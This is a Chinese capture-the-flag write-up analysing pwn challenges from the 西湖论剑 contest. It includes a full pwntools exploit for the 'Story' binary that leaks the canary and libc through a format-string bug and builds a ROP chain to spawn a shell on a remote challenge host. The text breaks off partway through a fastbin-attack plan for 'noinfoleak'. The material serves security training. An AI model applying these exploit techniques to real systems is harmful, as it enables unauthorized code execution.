原标题:【真题解析】浅析CTF中PWN题型的解题思路
前言
写一下西湖论剑里的三道pwn题,主要讲一下第二道,因为后面我才发现自己解第二道好像是非预期解。。讲一下自己的解题思路吧。
1
PWN之一——Story
常规基础pwn,格式化字符串+ROP。
漏洞:
格式化字符串:
printf(&s);
栈溢出:
if( v1 < 0)
v1 = -v1;
if( v1 > 128)
v1 = 1024LL;
puts( "You can speak your story:");
rread((__int64)&s, v1);
思路:
1、格式化字符串先泄漏canary的值和__libc_start_main的值,得到libc
2、找ROP_gadget
3、栈溢出,覆盖到ROP,返回system
EXP:
frompwn import *
#p = process('./story')
p = remote( 'ctf3.linkedbyx.com',11045)
elf = ELF( './story')
libc = ELF( './libc.so')
p.recvuntil( 'Please Tell Your ID:')
p.sendline( '%15$p,%25$p')
p.recvuntil( 'Hello ')
data1 = p.recv( 18)
p.recvuntil( ',')
data2 = p.recv( 14)
data1 = int(data1, 16)
data2 = int(data2, 16) - 240
print hex(data1),hex(data2)
libc_base = data2 - libc.symbols[ '__libc_start_main']
system_addr = libc_base + libc.symbols[ 'system']
bin_addr = libc_base + libc.search( '/bin/sh').next()
p.recvuntil( 'Tell me the size of your story:')
p.sendline( '144')
p.recvuntil( 'You can speak your story:')
#gdb.attach(p)
payload = 'A'*136 + p64(data1) + 'A'*8 + p64(0x0000000000400bd3) + p64(bin_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
2
PWN之二——noinfoleak
一看程序就是没有view函数,需要自己想办法leak。因为不久之前刚练手了IO_FILE泄漏的缘故,所以第一时间想到的泄漏就是利用IO_FILE(所以搞的我头皮发麻
只有一个UAF的漏洞,但是足够了。malloc的最大size是0x7f,但是因为程序malloc时候自动加1的缘故,所以最大能拿到0x90的chunk。
漏洞点
UAF:
free(qword_6010A0[ 2* v0]); // UAF
思路
1、Fast bin attack到IO_FILE处
2、修改IO_write_base泄漏地址
3、Fast bin attack到__malloc_hook处
4、malloc触发getshell
实践
Fast bin attack大家都会我这里就不多说了,我这里比较蠢,还用了Double Free的方式来攻击,导致浪费了chunk,这里其实可以free掉之后修改fd来继续分配fake chunk。
因为我要分配到IO_FILE中,且它在libc中,所以我需要找一个接近于他的一个地址,那么最好的方法就是free掉chunk后的fd和bk指针了。
我先malloc一个0x7f的chunk,然后free。
再malloc 0x60大小,字节内容就填个A,防止破坏fd指针。
pwndbg> heap
0xdfd000 FASTBIN {
prev_size = 0x0,
size = 0x71,
fd = 0x7f1ef5c6cb41,
bk = 0x7f1ef5c6cbf8,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141,
}
0xdfd070 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7f1ef5c6cb78,
bk = 0x7f1ef5c6cb78,
fd_nextsize = 0x20,
bk_nextsize = 0x70,
}
而后我们就可以愉快的fast bin attack了,先malloc两个0x60的chunk,而后都free,形成double free